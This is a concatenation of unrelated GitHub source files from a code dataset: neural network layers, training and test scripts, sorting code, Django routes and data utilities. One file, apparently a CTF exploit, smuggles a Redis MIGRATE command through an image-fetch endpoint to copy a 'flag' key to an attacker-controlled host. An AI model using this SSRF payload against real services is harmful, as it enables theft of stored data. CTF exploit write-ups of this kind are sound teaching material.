grad_input_st[0],grad_input_st[1],grad_input_st[2],grad_input_st[3],grad_input_st[4],grad_input_st[5], None\n\nclass Gauss_agg2_st(nn.Module):\n def __init__(self, parts):\n super(Gauss_agg2_st,self).__init__()\n self.parts = parts\n def forward(self,input_st):\n nb_frames = int(input_st.size(2)/3)\n l_sp = [len(sequence(nb_frames)[s]) for s in range(6)]\n x0,x1,x2,x3,x4,x5 = input_st.split(l_sp,2)\n return Gauss_agg2_st_function.apply(x0,x1,x2,x3,x4,x5, self.parts)\n\n\n## TS-GA-NET\n\n### First Gauss Aggregation Layer\n\nclass Gauss_agg1_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts, parts, NS):\n NS = torch.tensor(NS)\n NP, P = len(parts), len(parts[0])\n ctx.save_for_backward(input_ts, NS, torch.tensor(NP), torch.tensor(P))\n batch,nb_frames,joints,coordinates,col = input_ts.size()\n #TRY TS\n inputs = input_ts.reshape(batch,nb_frames,NP,P,coordinates,col)\n mu = torch.zeros((batch,6,NP,NS,P,coordinates,1))\n cov = torch.zeros((batch,6,NP,NS, P,coordinates,coordinates))\n for s in range(6):\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n nb_fr = int((bsup-binf + 1)/NS)\n for k in range(NS-1):\n mu[:,s,:,k] = inputs[:,k*nb_fr:(k + 1)*nb_fr].mean(1)\n x = inputs[:,k*nb_fr:(k + 1)*nb_fr]-mu[:,s,:,k].unsqueeze(1).expand(batch,nb_fr,NP, P,coordinates,1)\n cov[:,s,:,k] = (x @ x.transpose(-1,-2)).mean(1)\n k = NS-1\n mu[:,s,:,k] = inputs[:,k*nb_fr:].mean(1)\n x = inputs[:,k*nb_fr:nb_frames]-mu[:,s,:,k].unsqueeze(1).expand(inputs[:,k*nb_fr:nb_frames].size())\n cov[:,s,:,k] = (x @ x.transpose(-1,-2)).mean(1)\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,6,NP,NS, P,1,1)\n return torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2)\n\n @staticmethod\n def backward(ctx,grad_output_ts):\n input_ts,NS, NP, P = ctx.saved_tensors\n NS, NP, P = int(NS), int(NP), int(P)\n batch,nb_frames,joints,row,col = input_ts.size()\n grad_input_ts = torch.zeros(input_ts.size())\n inputs = input_ts.transpose(1,2).squeeze().reshape(batch,NP, P,nb_frames,row).type(torch.DoubleTensor)\n #TS\n g = sym(grad_output_ts).type(torch.DoubleTensor)\n B = torch.eye(row + 1,row).reshape(1,1,1,row + 1,row).expand(batch, NP, P,row + 1,row).type(torch.DoubleTensor)\n b = torch.cat((torch.zeros(row),torch.ones(1))).reshape(1,1,1,1,row + 1).expand(batch, NP, P,1,row + 1)\n for s in range(6):\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n nb_fr = int((bsup-binf + 1)/NS)\n vect_one = torch.ones(batch, NP, P,nb_fr,1)\n for k in range(NS-1):\n x = (2/nb_fr)* (inputs[:,:,:,k*nb_fr:(k + 1)*nb_fr] @ B.transpose(-1,-2) + vect_one @ b) @ g[:,s,:,k] @ B\n grad_input_ts[:,k*nb_fr:(k + 1)*nb_fr] += x.reshape(batch, NP * P,nb_fr,row,col).transpose(1,2)\n k = NS-1\n rest_fr = inputs[0,0,0,k*nb_fr:].size(0)\n vect_one = torch.ones(batch, NP, P,rest_fr,1)\n x = (2/nb_fr)* (inputs[:,:,:,k*nb_fr:] @ B.transpose(-1,-2) + vect_one @ b) @ g[:,s,:,k] @ B\n grad_input_ts[:,k*nb_fr:] += x.reshape(batch, NP * P,rest_fr,row,col).transpose(1,2)\n return grad_input_ts/3,None, None\n\nclass Gauss_agg1_ts(nn.Module):\n def __init__(self,parts, NS = 15):\n super(Gauss_agg1_ts,self).__init__()\n self.NS = NS\n self.parts = parts\n def forward(self,input):\n return Gauss_agg1_ts_function.apply(input,self.parts, self.NS)\n\n\n### ReEig Layer\n\nclass ReEig_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts,eps):\n eps = torch.tensor(eps)\n #TS\n u,S,v = input_ts.svd()\n ctx.save_for_backward(u,S.clone(),eps)\n S[S<eps] = eps\n return u @ S.diag_embed() @ u.transpose(-1,-2),u,S \n \n @staticmethod\n def backward(ctx,grad_output_ts,grad_u,grad_S):\n u,S,eps = ctx.saved_tensors\n #TS\n P = S.unsqueeze(-1).expand(u.size())\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n Q = torch.ones(S.size())\n Q[S<eps] = 0\n Q = Q.diag_embed()\n g = sym(grad_output_ts) \n S[S<eps] = eps\n dLdu = 2* g @ u @ S.diag_embed()\n dLdS = Q @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(-1), out = torch.LongTensor())\n k = dLdS[:,:,:,:,:,idx,idx].diag_embed()\n grad_input_ts = u @ (( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input_ts,None\n\nclass ReEig_ts(nn.Module):\n def __init__(self,eps = 10**(-4)):\n super(ReEig_ts,self).__init__()\n self.eps = eps\n\n def forward(self,input_ts):\n return ReEig_ts_function.apply(input_ts,self.eps)\n\n\n### LogEig Layer\n\nclass LogEig_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts,u,S):\n s = S[:,:,:,:,:,:,0].log().diag_embed()\n ctx.save_for_backward(u,S,s)\n return u @ s @ u.transpose(-1,-2) \n \n @staticmethod\n def backward(ctx,grad_output_ts):\n u,S,s = ctx.saved_tensors\n g = sym(grad_output_ts)\n S[S<0.0001] = 0.0001\n P = S.clone()\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n dLdu = 2* g @ u @ s\n dLdS = (1/S[:,:,:,:,:,:,0]).diag_embed() @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(-1), out = torch.LongTensor())\n k = dLdS[:,:,:,:,:,idx,idx].diag_embed()\n grad_input_ts = u @(( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input_ts,dLdu,dLdS\n\nclass LogEig_ts(nn.Module):\n def __init__(self):\n super(LogEig_ts,self).__init__()\n\n def forward(self,input_ts,u,S):\n return LogEig_ts_function.apply(input_ts,u,S.unsqueeze(-1).expand(u.size()))\n\n\n### VecMat Layer\n\nclass VecMat_ts_function(Function):\n\n @staticmethod\n def forward(ctx,input_ts):\n ctx.save_for_backward(input_ts)\n #TS\n row = input_ts.size(-1)\n input_ts.abs_()\n input_ts += (sqrt(2)-1)*input_ts.triu(1)\n id = torch.LongTensor([[i,j] for i in range(row) for j in range(i,row)]).T\n output_ts = input_ts[:,:,:,:,:,id[0],id[1]].unsqueeze(-1)\n return output_ts\n\n @staticmethod\n def backward(ctx,grad_output_ts):\n input_ts = ctx.saved_tensors\n input_ts = input_ts[0]\n #TS\n batch,seq,fingers,NS,joints,row,col = input_ts.size()\n grad_input_ts = torch.zeros(input_ts.size())\n j = 0\n for i in range(row):\n grad_input_ts[:,:,:,:,:,i,i:] = grad_output_ts[:,:,:,:,:,j:j + row-i,0]\n grad_input_ts[:,:,:,:,:,i:,i] = grad_input_ts[:,:,:,:,:,i,i:]\n j += row-i\n grad_input_ts += (sqrt(2)-1)*(grad_input_ts.triu(1) + grad_input_ts.tril(-1))\n return grad_input_ts\n\nclass VecMat_ts(nn.Module):\n def __init__(self):\n super(VecMat_ts,self).__init__()\n\n def forward(self,input_ts):\n return VecMat_ts_function.apply(input_ts)\n\n\n### Second Gauss aggregation Layer\n\nclass Gauss_agg2_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts):\n ctx.save_for_backward(input_ts)\n #TS\n batch,seq,NP,NS,P,row,col = input_ts.size()\n input_ts = input_ts.reshape(batch,seq,NP, NS * P,row,col)\n mu = input_ts.mean(3)\n x = input_ts-mu.unsqueeze(3).expand(input_ts.size())\n cov = (x @ x.transpose(-1,-2)).mean(3)\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,6, NP,1,1)\n return torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2)\n\n @staticmethod\n def backward(ctx,grad_output_ts):\n input_ts = ctx.saved_tensors\n input_ts = input_ts[0]\n #TS\n batch,seq,NP, NS, P,row,col = input_ts.size()\n input_ts = input_ts.reshape(batch,seq, NP, NS * P, row).type(torch.DoubleTensor)\n B = torch.eye(row + 1,row).reshape(1,1,row + 1,row).expand(batch,seq, NP,row + 1,row).type(torch.DoubleTensor)\n b = torch.cat((torch.zeros(row),torch.ones(1))).reshape(1,1,1,row + 1).expand(batch,seq, NP,1,row + 1)\n vect_one = torch.ones(batch,seq, NP,NS* P,1)\n g = sym(grad_output_ts).type(torch.DoubleTensor)\n gr = (2/(NS*4))* (input_ts @ B.transpose(-1,-2) + vect_one @ b) @ g @ B\n grad_input_ts = gr.reshape(batch, seq, NP, NS, P, row, col) \n return grad_input_ts\n\nclass Gauss_agg2_ts(nn.Module):\n def __init__(self):\n super(Gauss_agg2_ts,self).__init__()\n\n def forward(self,input_ts):\n return Gauss_agg2_ts_function.apply(input_ts)\n\n\n## SPDC Net\n\n### SPD Aggregation Layer\nclass StiefelParameter(nn.Parameter):\n \"\"\"A kind of Variable that is to be considered a module parameter on the space of \n Stiefel manifold.\n \"\"\"\n def __new__(cls, data = None, requires_grad = True):\n return super(StiefelParameter, cls).__new__(cls, data, requires_grad = requires_grad)\n\n def __repr__(self):\n return self.data.__repr__()\n\nclass SPDAgg_function(torch.autograd.Function):\n @staticmethod\n def forward(ctx,input,weights, N):\n ctx.save_for_backward(input,weights, torch.tensor(N))\n output = torch.sum(weights @ input @ (weights.transpose(-1,-2)) ,1 )\n return output\n\n @staticmethod\n def backward(ctx,grad_output):\n input,weight, N = ctx.saved_tensors\n g = grad_output.unsqueeze(1).expand(input.size(0),int(N), weight.size(2), weight.size(2))\n grad_input = weight.transpose(-1,-2) @ g @ weight\n grad_weight = 2* g @ weight @ input\n return grad_input,grad_weight, None\n\nclass SPD_Agg(nn.Module):\n def __init__(self, NP, input_size = 56,output_size = 200):\n super(SPD_Agg,self).__init__()\n self.output_size = output_size\n self.input_size = input_size\n self.NP = NP\n self.weight = StiefelParameter(torch.FloatTensor(self.NP,output_size,input_size), requires_grad = True)\n nn.init.orthogonal_(self.weight).requires_grad_()\n \n def forward(self,input):\n weight = self.weight.expand(input.size(0), self.NP,self.output_size,self.input_size)\n return SPDAgg_function.apply(input,weight, self.NP)\n\n\n### LogEig Layer\n\nclass LogEig_spdc_function(torch.autograd.Function):\n @staticmethod\n def forward(ctx,input,vect):\n u,S,v = input.svd()\n ctx.save_for_backward(u,S,torch.tensor(vect))\n output = u @ S.log().diag_embed() @ u.transpose(-1,-2)\n if vect:\n row = output.size(-1)\n output.abs_()\n output += (sqrt(2)-1)*output.triu(1)\n id = torch.LongTensor([[i,j] for i in range(row) for j in range(i,row)]).T\n output = output[:,id[0],id[1]]\n return output\n\n @staticmethod\n def backward(ctx,grad_output):\n u,S,vect = ctx.saved_tensors\n if vect:\n row = u.size(-2)\n grad_input = torch.zeros(u.size())\n j = 0\n for i in range(row):\n grad_input[:,i,i:] = grad_output[:,j:j + row-i]\n grad_input[:,i:,i] = grad_input[:,i,i:]\n j += row-i\n grad_input += (sqrt(2)-1)*(grad_input.triu(1) + grad_input.tril(-1))\n grad_output = grad_input\n g = sym(grad_output)\n P = S.unsqueeze(-1).expand(u.size())\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n dLdu = 2* g @ u @ S.log().diag_embed()\n dLdS = (1/S).diag_embed()@ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(-1), out = torch.LongTensor())\n k = dLdS[:,idx,idx].diag_embed()\n grad_input = u @(( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input,None\n\nclass LogEig_spdc(nn.Module):\n def __init__(self,vect = True):\n super(LogEig_spdc,self).__init__()\n self.vect = vect\n def forward(self,input):\n return LogEig_spdc_function.apply(input,self.vect)\n","repo_name":"Mohamed-Sanim/Online-motion-recognition","sub_path":"SPDSiamese/ST_TS_HGR_Net.py","file_name":"ST_TS_HGR_Net.py","file_ext":"py","file_size_in_byte":20353,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"937311944","text":"from inspect import ArgInfo\nimport torch\nimport argparse\nimport os, sys, json\nfrom dataloader import ArgoverseDataset, my_collate\nfrom torch.utils.data import Dataset, DataLoader\nfrom train import train_model\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_type', default='linear', nargs='?',\n help='Choose a model type for prediction')\nargs = vars(parser.parse_args())\n\ndef main(args):\n # read from json file\n print(args)\n f = open('config.json')\n config = json.load(f)\n batch_size = config['batch_size']\n\n print(f'CUDA availability: {torch.cuda.is_available()}')\n if torch.cuda.is_available():\n for i in range(torch.cuda.device_count()):\n print(f'GPU name: {torch.cuda.get_device_name(i)}')\n\n device = torch.device(\"cuda:{}\".format(0) if torch.cuda.is_available() else \"cpu\")\n print(\"using cuda:{}\".format(0))\n\n # initialize the training dataset\n train_data = ArgoverseDataset(data_path=config['train_path'])\n train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=False, collate_fn=my_collate, num_workers=0)\n val_data = ArgoverseDataset(data_path=config['val_path'])\n val_loader = DataLoader(val_data, batch_size=batch_size, shuffle=False, collate_fn=my_collate, num_workers=0)\n model = train_model((train_loader, val_loader), config, device, args['model_type'])\n torch.save(model.state_dict(), 'linear.pt')\n\nif __name__ == \"__main__\":\n main(args)\n","repo_name":"QiwenZz/argoverse_motion_forcasting","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"6303114296","text":"ll = [8, 3, 1, 2, 5, 4, 6, 9, 0, 7]\n\n\ndef bubble_sort(array):\n\tfor i in range(len(array)):\n\t\tfor j in range(len(array) -i -1):\n\t\t\tif array[j] > array[j + 1]:\n\t\t\t\tarray[j], array[j+1] = array[j+1], array[j]\n\treturn array\n\n\n# print(bubble_sort(ll))\n\n\ndef quick_sort(array, i, j):\n\tif i >= j:\n\t\treturn array\n\tbase = array[i]\n\tlow = i\n\thigh = j\n\twhile i < j:\n\t\twhile i < j and array[j] >= base:\n\t\t\tj -= 1\n\t\tarray[i] = array[j]\n\n\t\twhile i < j and array[i] <= base:\n\t\t\ti += 1\n\t\tarray[j] = array[i]\n\tarray[j] = base\n\n\tquick_sort(array, low, i - 1)\n\tquick_sort(array, i + 1, high)\n\treturn array\n\n\nls =[30,24,5,58,18,36,12,42,39]\n# print(quick_sort(ls, 0, len(ls) - 1))\n\n\n\n\ndef quick_sort1(array, left, right):\n\tif left >= right:\n\t\treturn array\n\n\tbase = array[left]\n\tlow = left\n\thigh = right\n\n\twhile low < high:\n\n\t\twhile low < high and array[high] >= base:\n\t\t\thigh -= 1\n\t\tarray[low] = array[high]\n\n\t\twhile low < high and array[low] <= base:\n\t\t\tlow += 1\n\t\tarray[high] = array[low]\n\n\tarray[high] = base\n\n\tquick_sort(array, left, low-1)\n\tquick_sort(array, low+1, right)\n\treturn array\n\nfinal = quick_sort1(ls, 0, len(ls)-1)\nprint(final)","repo_name":"OceanO-o/ocean","sub_path":"private/prepare_for_interview/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4958353610","text":"from django.conf.urls import url\nfrom blog.views import index,test,get_category,list,catelist,details,download,recover,get_content\nfrom blog.upload_file import upload_files\nfrom blog.upload_file import get_attachment\n\n\nurlpatterns = [\n url(r'^$', index.as_view()),\n url(r'test/$', test),\n url(r'^get_category$', get_category),\n url(r'^list/(\\d*)$', list.as_view()),\n url(r'^catelist/(.*)$', catelist.as_view()),\n url(r'^details/(.*)$', details.as_view()),\n url(r'download/$', download),\n url(r'recover/$', recover),\n url(r'get_content/$', get_content),\n url(r\"^upload$\", upload_files),\n url(r\"^get_attachment$\", get_attachment),\n]","repo_name":"Christings/dazhu","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6501299871","text":"#!/usr/bin/env python3\nimport requests\nfrom argparse import ArgumentParser\n\n\ndef parse_args():\n parser = ArgumentParser()\n parser.add_argument(\n '--migrate-to-host',\n required=True,\n type=str,\n help='destination host of redis MIGRATE command, you need to listen some port on this host to retrieve data',\n )\n parser.add_argument(\n '--migrate-to-port',\n required=False,\n default=6379,\n type=int,\n help='port, that you are listening on destination host (6379 by default)',\n )\n parser.add_argument(\n '--service-url',\n required=True,\n type=str,\n help='host of the rjakenService',\n )\n parser.add_argument(\n '--redis-url',\n required=False,\n default='http://redis:6379',\n type=str,\n help='url to redis in internal network of service (http://redis:6379 by default)'\n )\n\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n payload = f'MIGRATE {args.migrate_to_host} {args.migrate_to_port} flag 0 1000\\r\\n'\n\n resp = requests.post(f'{args.service_url}/image', json={\n 'pictureLink': args.redis_url,\n 'method': payload,\n })\n\n print(resp.text)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"HackerDom/letoctf-taskbot-2022-writeups","sub_path":"04-rjakenBot/sploit/sploit.py","file_name":"sploit.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10807936244","text":"import logging\nimport multiprocessing\nimport os\nimport typing as t\nimport uuid\nfrom concurrent.futures import Future\n\nfrom globus_compute_common.messagepack.message_types import (\n EPStatusReport,\n TaskTransition,\n)\nfrom globus_compute_endpoint.engines.base import (\n GlobusComputeEngineBase,\n ReportingThread,\n)\nfrom parsl.executors.high_throughput.executor import HighThroughputExecutor\n\nlogger = logging.getLogger(__name__)\n\n\nclass GlobusComputeEngine(GlobusComputeEngineBase):\n def __init__(\n self,\n *args,\n label: str = \"GlobusComputeEngine\",\n address: t.Optional[str] = None,\n heartbeat_period_s: float = 30.0,\n **kwargs,\n ):\n self.address = address\n self.run_dir = os.getcwd()\n self.label = label\n self._status_report_thread = ReportingThread(\n target=self.report_status, args=[], reporting_period=heartbeat_period_s\n )\n super().__init__(*args, heartbeat_period_s=heartbeat_period_s, **kwargs)\n self.executor = HighThroughputExecutor( # type: ignore\n *args, address=address, **kwargs\n )\n\n def start(\n self,\n *args,\n endpoint_id: t.Optional[uuid.UUID] = None,\n run_dir: t.Optional[str] = None,\n results_passthrough: t.Optional[multiprocessing.Queue] = None,\n **kwargs,\n ):\n assert run_dir, \"GCExecutor requires kwarg:run_dir at start\"\n assert endpoint_id, \"GCExecutor requires kwarg:endpoint_id at start\"\n self.run_dir = os.path.join(os.getcwd(), run_dir)\n self.endpoint_id = endpoint_id\n self.executor.provider.script_dir = os.path.join(self.run_dir, \"submit_scripts\")\n os.makedirs(self.executor.provider.script_dir, exist_ok=True)\n if results_passthrough:\n # Only update the default queue in GCExecutorBase if\n # a queue is passed in\n self.results_passthrough = results_passthrough\n self.executor.start()\n self._status_report_thread.start()\n\n def _submit(\n self,\n func: t.Callable,\n *args: t.Any,\n **kwargs: t.Any,\n ) -> Future:\n return self.executor.submit(func, {}, *args, **kwargs)\n\n def get_status_report(self) -> EPStatusReport:\n \"\"\"\n endpoint_id: uuid.UUID\n ep_status_report: t.Dict[str, t.Any]\n task_statuses: t.Dict[str, t.List[TaskTransition]]\n Returns\n -------\n \"\"\"\n executor_status: t.Dict[str, t.Any] = {\n \"task_id\": -2,\n \"info\": {\n \"total_cores\": 0,\n \"total_mem\": 0,\n \"new_core_hrs\": 0,\n \"total_core_hrs\": 0,\n \"managers\": 0,\n \"active_managers\": 0,\n \"total_workers\": 0,\n \"idle_workers\": 0,\n \"pending_tasks\": 0,\n \"outstanding_tasks\": 0,\n \"worker_mode\": 0,\n \"scheduler_mode\": 0,\n \"scaling_enabled\": False,\n \"mem_per_worker\": 0,\n \"cores_per_worker\": 0,\n \"prefetch_capacity\": 0,\n \"max_blocks\": 1,\n \"min_blocks\": 1,\n \"max_workers_per_node\": 0,\n \"nodes_per_block\": 1,\n \"heartbeat_period\": self._heartbeat_period_s,\n },\n }\n task_status_deltas: t.Dict[str, t.List[TaskTransition]] = {}\n return EPStatusReport(\n endpoint_id=self.endpoint_id,\n ep_status_report=executor_status,\n task_statuses=task_status_deltas,\n )\n\n def shutdown(self):\n self._status_report_thread.stop()\n return self.executor.shutdown()\n","repo_name":"slateci/docker-images","sub_path":"globus-compute/compute_endpoint/globus_compute_endpoint/engines/globus_compute.py","file_name":"globus_compute.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41849807248","text":"import pandas as pd\nurl = 'https://ciffc-node-api.azurewebsites.net/v1/historical/yearly'\nhistory = pd.read_json(url)\n#removed the first 3 entries for years : 1980-1982 as they were empty\nhistory = history.iloc[3:]\nl=[]\nnewlist =[]\nfor index,row in history.iterrows():\n (l.append(row.tolist()))\nfor i in range(0, len(l)):\n #print(f'{l[i][0]} {len(l[i])}')\n for j in range(1, len(l[i])):\n if(l[i][j]==None):\n continue\n newlist.append([l[i][0],l[i][j]])\nremoved_nan =[]\nfor i in newlist:\n #check to see if the second element is a dictionary or not\n if(isinstance(i[1],dict)):\n removed_nan.append(i)\n\n\nhistorical_data = pd.DataFrame(removed_nan, columns=[\"year\", \"agency_info\"])\nhistorical_data[[\"agency\", \"avg_fires\", \"avg_hectares\"]] = historical_data[\"agency_info\"].apply(pd.Series)\nhistorical_data = historical_data.drop(columns=[\"agency_info\"])\nprint(historical_data.head())\nhistorical_data.to_excel(r\"C:\\Users\\prith\\OneDrive\\Desktop\\Canadian_wildfire\\history.xlsx\", index =False)\n\n\n","repo_name":"pkopplu/FireDataScraping","sub_path":"getHistoricalData2022.py","file_name":"getHistoricalData2022.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16964132961","text":"import numpy as np\nfrom matplotlib.backend_bases import MouseEvent, MouseButton\n\nclass PointSelector:\n \"\"\"A cursor object for selecting points in a maptlotlib canvas.\"\"\"\n def __init__(self, ax):\n self.ax = ax\n self._points = []\n self._labels = []\n\n # Attach to the matplotlib event loop\n self.ax.figure.canvas.mpl_connect(\"button_press_event\", self.on_click)\n\n @property\n def points(self):\n return np.asarray(self._points)\n\n @property\n def labels(self):\n return np.asarray(self._labels)\n\n def on_click(self, event):\n if not event.inaxes:\n return\n # Add to points\n x, y = event.xdata, event.ydata\n self._points.append((x, y))\n # Left button == foreground, right button == background\n if event.button is MouseButton.LEFT:\n self._labels.append(1)\n self.ax.scatter(x, y, color=\"tab:blue\")\n elif event.button is MouseButton.RIGHT:\n self._labels.append(0)\n self.ax.scatter(x, y, color=\"tab:red\")\n self.ax.figure.canvas.draw()\n","repo_name":"rossbar/segment_anything_sandbox","sub_path":"cursor.py","file_name":"cursor.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73027245800","text":"from unified.core.app import App\nfrom file_management_storage.onedrive.actions import OnedriveActions\nfrom file_management_storage.onedrive.api import OnedriveApi\n\n\nclass OnedriveApp(App, OnedriveActions, OnedriveApi):\n\n def __init__(self):\n super().__init__(\n name=\"OneDrive\",\n description=\"Save your files and photos to OneDrive and access them from any device, anywhere.\",\n category=\"File Management Storage\",\n logo=\"https://logo.500apps.com/onedrive\",\n auth_info=None,\n auth_type='oauth2'\n )","repo_name":"dipendrabaidawa/unified_api","sub_path":"unified/modules/main/categories/file_management_storage/onedrive/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22137258508","text":"import math\r\nfor _ in range(int(input())):\r\n n, m = map(int, input().split())\r\n arr = [] \r\n x = 0\r\n for _ in range(n):\r\n row = list(map(int, input().split()))\r\n arr.append(row)\r\n row = [_ for _ in row if _ < 0]\r\n x += len(row)\r\n \r\n sum = 0\r\n minn = math.inf \r\n for i in range(n):\r\n for j in range(m):\r\n k = abs(arr[i][j])\r\n sum += k\r\n if k < minn:\r\n minn = k\r\n if x % 2 == 0:\r\n print(sum)\r\n else:\r\n print(sum - minn*2)\r\n\r\n ","repo_name":"mlabeeb03/codeforces","sub_path":"Numbers Box.py","file_name":"Numbers Box.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71453670440","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 22 13:58:16 2020\r\n\r\n@author: acoust\r\n\"\"\"\r\nimport os, sys, glob\r\nimport numpy as np\r\nfrom matplotlib import pylab as plt\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nsys.path.append('../')\r\nfrom modules import takeModules as tm\r\nfrom iRevNet import modelDifinition\r\n\r\n\r\n##################################################################################\r\n# flag\r\ndeviceNum = 0\r\n\r\n##################################################################################\r\n# exp. param\r\nlayerNum = 6\r\n\r\n\r\n#filt = 'UNet5SpecNorm'\r\nfilt = 'LinearNoBiasUNet5SpecNorm'\r\n\r\nred = 4\r\n\r\n\r\nmaskEstimator = 'binary'\r\n#maskEstimator = 'UNet5Sigmoid'\r\n\r\nlossMode = 'SDR'\r\n\r\n\r\n\r\n\r\n# training data directory\r\ncleanDir = 'D:/sound_data/Voicebank_DEMAND/clean_testset_wav2'\r\nnoisyDir = 'D:/sound_data/Voicebank_DEMAND/noisy_testset_wav2'\r\n\r\n# save dnn directory\r\ndnn_dir = './dnn_dir/' \r\nif(os.path.isdir(dnn_dir)==False):\r\n os.mkdir(dnn_dir)\r\n \r\n# train parameter\r\nspeechPerSet = 2048\r\nbatchSize = 16\r\nLog_reg = 10**(-6)\r\nvalRatio = 0.1\r\nspeechLen = 2**15\r\n\r\nmaxEpoch = 500\r\n\r\n\r\ninitPad=red-1\r\n##################################################################################\r\nsaveName = \\\r\n'iRevNet_L'+str(layerNum)+\\\r\n'R'+str(initPad+1)+\\\r\n'_'+filt+\\\r\n'_'+maskEstimator+\\\r\n'_'+lossMode+\\\r\n'_bs'+str(batchSize)+\\\r\n'_bpl'+str(speechLen)+\\\r\n'_vr'+str(valRatio)\\\r\n+'_ep'+str(maxEpoch)\r\nfileName = dnn_dir+saveName\r\n\r\ntestDir = 'D:/sound_data/test_iRevNet_pytorch'\r\nif(os.path.isdir(testDir)==False):\r\n os.mkdir(testDir)\r\n#print(saveName)\r\n\r\ncondDir = testDir+'/'+saveName\r\nif(os.path.isdir(condDir)==False):\r\n os.mkdir(condDir)\r\n \r\n\r\n##################################################################################\r\n\r\n\r\nestClean = modelDifinition.iRevNetMasking( layerNum, filt, initPad, maskEstimator).cuda(deviceNum)\r\nestClean.load_state_dict(torch.load(fileName))\r\n\r\n\r\nsdataFns = glob.glob(cleanDir + \"/*.wav\")\r\nxdataFns = glob.glob(noisyDir + \"/*.wav\")\r\ntestNum = len(sdataFns)\r\n\r\nfor utter in range(testNum):\r\n sys.stdout.write('\\rTestSet: '+str(utter+1)+'/'+str(testNum)) \r\n sys.stdout.flush()\r\n s = torch.from_numpy(tm.wavread(sdataFns[utter])[0]).cuda(deviceNum)\r\n x = torch.from_numpy(tm.wavread(xdataFns[utter])[0]).cuda(deviceNum)\r\n sLen = len(s) \r\n zp = speechLen - sLen%speechLen\r\n s = torch.cat( (s, torch.zeros(zp).cuda(deviceNum)), 0 ).unsqueeze(0)\r\n x = torch.cat( (x, torch.zeros(zp).cuda(deviceNum)), 0 ).unsqueeze(0) \r\n y, phi, mask = estClean(x)\r\n y = y.detach()\r\n\r\n s = s[0][:sLen]\r\n x = x[0][:sLen]\r\n y = y[0][:sLen]\r\n \r\n saveFn = condDir+'/'+sdataFns[utter][len(cleanDir)+1:]\r\n tm.wavwrite(saveFn, y.cpu().numpy(), 16000)\r\n \r\nsys.stdout.write('\\n')\r\n","repo_name":"dtake1336/i-revnet-based-time-frequency-transform","sub_path":"02_test.py","file_name":"02_test.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"42397582537","text":"import datetime\n\nimport pandas as pd\n\nfrom . import models\n\n\ndef daily_report(date_string=None):\n # dating as far back to 01-22-2020\n # date formatting '%m-%d-%Y'\n report_directory = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/'\n\n if date_string is None:\n yesterday = datetime.date.today() - datetime.timedelta(days=2)\n file_date = yesterday.strftime('%m-%d-%Y')\n else:\n file_date = date_string\n df = pd.read_csv(report_directory + file_date + '.csv')\n return df\n\n\n# dailly updates\n# add check to update only if there is not done so already\ndef 